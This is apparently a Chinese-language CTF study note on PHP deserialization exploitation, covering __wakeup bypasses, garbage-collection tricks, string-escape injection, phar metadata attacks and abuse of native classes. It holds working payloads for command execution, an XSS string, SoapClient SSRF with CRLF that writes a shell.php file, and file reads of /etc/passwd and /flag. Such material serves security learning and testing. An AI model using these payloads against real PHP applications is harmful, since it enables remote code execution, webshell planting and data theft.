必知知识
protected 和 private
private:变量名前加”%00[类名]%00”
1 2 3 4 5 6 7 8 9 10 11
| <?php class test{ private $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?> O:4:"test":1:{s:9:"testpub";s:6:"benben";}
|
protected:变量名前加”%00*%00”
1 2 3 4 5 6 7 8 9 10 11
| <?php class test{ protected $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?> O:4:"test":1:{s:6:"*pub";s:6:"benben";}
|
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| __construct() __destruct() __sleep() __wakeup() __toString(): __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke()
|
绕过__wakeup()
当成员属性数目大于实际数目
1 2 3
| O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;} 改成 O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
|
&=
意思是把两个变量指向同一内存地址,这样当对其中一个变量进行操作时,另一个也会随之变化。不仅可以应用于绕过__wakeup(),其实更常用在为了满足特定条件而使用。
EX:下题就利用了&=,但是实际执行了wakeup,只是通过&=的特性让其满足if的条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php highlight_file(__FILE__);
class ctf{ public $key;
public function __destruct() { echo "destruct<br>"; $this->key=False; if(!isset($this->wakeup)||!$this->wakeup){ echo "You get it!"; } }
public function __wakeup(){ echo "wakeup<br>"; $this->wakeup=True; } }
unserialize($_GET['ctf']);
|
使用C绕过
序列化数据把第一个O改成C即可,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容,不过可以使用原生类打包的方式来绕过,也是绕过/^[Oa]:[/d]+/过滤的方法之一。
[LitCTF 2025]君の名は就考了绕过/^[Oa]:[/d]+/过滤,使用原生类打包。
以C开头的原生类
[如果要使用原生类打包的话,运行链子建议在较低版本运行,我使用的是5.xx,因为高版本php序列化出来的数据不是C开头,而是O]
1 2 3 4 5 6 7
| ArrayObject::unserialize ArrayIterator::unserialize RecursiveArrayIterator::unserialize SplDoublyLinkedList::unserialize SplQueue::unserialize SplStack::unserialize SplObjectStorage::unserialize
|
PHP GC回收机制
1 2 3 4 5
| GC的全称是Garbage Collection也就是垃圾回收的意思 在PHP中,是使用引用计数和回收周期来自动管理内存对象的,当一个对象被设置为NULL, 或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉,这里其实就可以理解为当一个对象没有被引用时, 也就是基本类型(字符串,整形等等),被引用也就是一个对象(Object), 在这可以理解为一个对象没有被引用时就会被GC机制回收
|
当我们PHP创建一个变量时,这个变量会被存储在一个名为zval
的变量容器中。在这个zval
变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
第一个字节名为is_ref
,是bool
值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是refcount
,它用来表示指向zval
变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用。
1 2 3 4
| <?php $a="Sauy"; xdebug_debug_zval("a"); ?>
|
输出:
1 2
| a: (refcount=1, is_ref=0)string 'Sauy' (length=4)
|
有一个变量a,且未被引用故为false
变量容器在refcount
变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount
就会减1。
php反序列化的引用
GC
如果在PHP反序列化中生效,那它就会直接触发_destruct
方法
unset处理的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); error_reporting(0); class test{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $a = new test(1); $b = new test(2); $c = new test(3);
|
但是当我我们加上unset时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php highlight_file(__FILE__); error_reporting(0); class test{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $a = new test(1); unset($a); $b = new test(2); $c = new test(3);
|
发现destruct被提前触发
当对象为**NULL
**时
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); $flag = "flag{test_flag}";
class B { function __destruct() { global $flag; echo $flag; } } $a = unserialize($_GET['ctf']); throw new Exception('nonono');
|
这段代码正常情况下因为抛出异常无法触发destruct,这个时候就需要gc机制来触发
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__);
class B { function __destruct() { global $flag; echo $flag; } } $a=array('a'=>new B,'b'=>NULL);
echo serialize($a);
|
把b改为a就可以绕过 即在反序列化时,会下先让a赋值为类B,之后再将a赋值为NULL,但一开始a已经是对象了,赋值为NULL时就会出现对象为NULL的情况,从而触发__destruct
a:2:{s:1:”a”;O:1:”B”:0:{}s:1:”a”;N;}
这种方法也是php序列化常用的trick
phar序列化的应用
方法类似于php反序列化
不过phar文件是需要签名 生成了一般的phar文件不能010直接改需要脚本改
例题:prize_p1 | NSSCTF
wp:[关于gc回收机制在phar序列化的一次例题](https://sauy.top/2025/07/22/NSSCTF prize_p1/)
字符串逃逸
原理
Q:为何要进行字符串逃逸?
当我们通过pop或者其他方式不可以修改目标的值时,可以通过控制可控变量来进行修改目标的值,从而达成攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
unserialize(waf(serialize(new GetFlag($_GET['key']))));
|
如果本题我们传入key=badbad:
1
| O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:6:"whoami";}
|
但是由于str_place 会将bad替换为good,变为:
1
| O:7:"GetFlag":2:{s:3:"key";s:6:"goodgood";s:3:"cmd";s:6:"whoami";}
|
s:6:"goodgood";
这样写是错误的 php只能解析到’goodgo‘ 多出的od就会被丢弃 但是这里由于传入格式错误 所以不可行 我们可以考虑用这种原理,来构造合法的字符串修改cmd的值。
我们想构造:
1 2 3
| O:7:"GetFlag":2:{s:3:"key";s:N:"N个长度的字符串";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} key=N个长度的字符串";s:3:"cmd";s:2:"ls";} ";s:3:"cmd";s:2:"ls";}
|
就是我们想要逃逸出去的字符,我们希望N个长度的字符串的长度恰好到双引号之前,此时我们的输入就会作为合法的序列化数据进行处理,后续原本的 “;s:3:”cmd”;s:6:”whoami”;} 就会被丢弃。
我们需要插入的字符总共有22位,因此需要逃逸出22个字符,一个bad可以逃逸出1个字符,因此需要22个bad,构造Exp如下:
1 2 3
| ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";} 变为: O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
|
最后的”;s:3:”cmd”;s:6:”whoami”;}就会被抛弃 成功修改了cmd的值
最后要读flag我们需要构造 ";s:3:"cmd";s:9:"cat /flag";}
一共29个 那么需要29个bad变为good
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:9:”cat /flag”;}
字符串增多
原理:通过闭合来修改我们想要修改属性的值
[NepCTF2024]PHP_MASTER!!
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php highlight_file( __FILE__); error_reporting(0);
function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class A{ public $key; public function readflag(){ if($this->key=== "\0key\0"){ $a = $_POST[1]; $contents = file_get_contents($a); file_put_contents($a, $contents); } } }
class B { public $b; public function __tostring() { if(preg_match("/\[|\]/i", $_GET['nep'])){ die("NONONO!!!"); } $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]"); echo $str; if ($str==='NepCTF]'){ return ($this->b) (); } } } class C { public $s; public $str; public function __construct($s) { $this->s = $s; } public function __destruct() { echo $this ->str; } } $ser = serialize(new C($_GET['c'])); $data = str_ireplace("\0","00",$ser); unserialize($data); O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
|
s后面的部分:";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
这就是我们需要逃逸的部分,一个%00可以逃逸一个字符,而我们需要逃逸35个字符,就需要35个%00
1
| c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}
|
这样就可以到B类的__tostring()
方法了。
同样的,我们还需要让B类的$b变成phpinfo:
“;s:3:”str”;O:1:”B”:1:{s:1:”b”;s:7:”phpinfo”;}}
一共47个字符,那么我们就需要47个%00
1
| c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}
|
总payload:
1
| c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0&nep=NepCTNep
|
字符串减少(较难)
原理:是逃逸出一个新的属性
Phar反序列化
PHAR是类似于java里的jar包
联系:文件包含里 phar伪协议可以直接读取.phar文件
漏洞原理:使用phar伪协议解析文件的时 ,会自动触发对manifest字段的序列化字符串进行反序列化
phar需要php>5.2
其他的看题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); error_reporting(0); class Testobj { var $output="echo 'ok';"; function __destruct() { eval($this->output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
|
利用phar伪协议去读取.phar文件然后再进行执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| 例题:[NSSRound php -d phar.readonly=0 D:\ctf\WEB\test\test.php 查看index.php 和 upload.php 不难就是利用eval phar反序列化 主要讲payload1和paylaod2 payload1:生成要被反序列化的phar文件 <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $phar = new Phar('sauy.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $a = new LoveNss(); $$phar->setMetadata($$a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?> payload2:主要是为了绕过wakeup函数 我们就需要修改成员属性 这里签名就会失效 所以需要重新签名 最重要的点就是签名算法要用sha256 而不是网上写的sha1 import gzip from hashlib import sha256 with open('sauy.phar', 'rb') as file: f = file.read() s = f[:-28] s = s.replace(b'3:{', b'4:{') h = f[-8:] newf = s + sha256(s).digest() + h
newf = gzip.compress(newf) with open('sauy122.png', 'wb') as file: file.write(newf)
上传成功 post传入:file=phar:
|
原生类
C开头
1 2 3 4 5 6 7
| ArrayObject::unserialize ArrayIterator::unserialize RecursiveArrayIterator::unserialize SplDoublyLinkedList::unserialize SplQueue::unserialize SplStack::unserialize SplObjectStorage::unserialize
|
绕MD5/SHA1 XSS
使用Error/Exception内置类 这两个类使用方法一样的
1 2
| 适用于php7版本 在开启报错的情况下(这个默认都是开启的)
|
Error中也有个__toString(),可以控制它的内容实现字符串的输出。
XSS
1 2 3 4
| <?php highlight_file(__FILE__); echo unserialize($_GET['ctf']) O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A34%3A%22%3Cscript%3Ealert%28%27xss+test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Caaa.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
|

MD5/SHA1

会以字符串的形式输出当前的错误信息,包含当前的错误信息(”payload”)还有当前报错的行号(”2”)
那么如果两个同样的类在同一行,那么它的返回值一定是一样的,只要咱们传递的第二个参数不同的话,就可以实现绕过了。
1 2 3 4
| <?php $a = new Error("null", 1);$b = new Error("null", 2); echo $a."<br>".$b; ?>
|
输出
1 2
| Error: null in D:\phpstudy_pro\WWW\aaa.php:2 Stack trace: Error: null in D:\phpstudy_pro\WWW\aaa.php:2 Stack trace:
|
[2020 Geek Challenge GreatPHP]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?> <?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Exception($str,1);$b=new Exception($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
|
文件操作
遍历文件
1 2 3
| DirectoryIterator FilesystemIterator GlobIterator
|
配合glob://遍历文件,可以搭配伪协议使用。
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件
读文件
SplFileObject类
1 2 3 4 5
| <?php $context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); }
|
SSRF
SoapClient 类
1 2 3
| 该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。 正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。 SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
|
构造函数为:
1
| public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
|
·第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
·第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。
使用前提:
1 2 3
| 1.需要有soap扩展,且不是默认开启,需要手动开启 2.需要调用一个不存在的方法触发其__call()函数 3.仅限于http/https协议
|
使用示例:
1 2 3 4 5 6 7
| <?php $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a(); ?>
|
SSRF + CRLF 配合
使用SoapClient反序列化+CRLF 可以生成任意POST请求
EX1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $target = 'http://47.xxx.xxx.72:2333/'; $post_data = 'data=whoami'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test')); $b = serialize($a); $b = str_replace('^^',"\n\r",$b); echo $b; $c = unserialize($b); $c->a(); ?>
|
EX2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php $target = 'http://127.0.0.1/flag.php';
$post_string = 'a=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: aaaa=ssss' );
$user_agent = 'aaa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;
$options = array( 'location' => $target, 'user_agent'=> $user_agent, 'uri'=> "aaab" );
$b = new SoapClient(null, $options);
$aaa = serialize($b); $aaa = str_replace('^^', '%0d%0a', $aaa); $aaa = str_replace('&', '%26', $aaa); echo $aaa; ?>
|
XXE
SimpleXMLElement类


可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
[SUCTF 2018]Homework
Trick
过滤属性名称
用大写的S后跟的名称,php会当成16进制解析
1 2 3 4 5 6
| O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}
O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";} O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}
O:8:"passthru":2:{s:1:"S";S:20:"\70\61\73\73\74\68\72\75\28\22\63\61\74\20/\66*\22\29;";s:3:"dir";N;}
|
过滤类名
大小写绕过
类内方法调用
静态:
1 2
| A::test(); ['A','test']();
|
动态:
1 2
| A::test(); ['A','test']();
|
部分参考链接(有一些记不到了)
1 2 3
| https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/ https://chenxi9981.github.io/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/ https://xz.aliyun.com/news/11289
|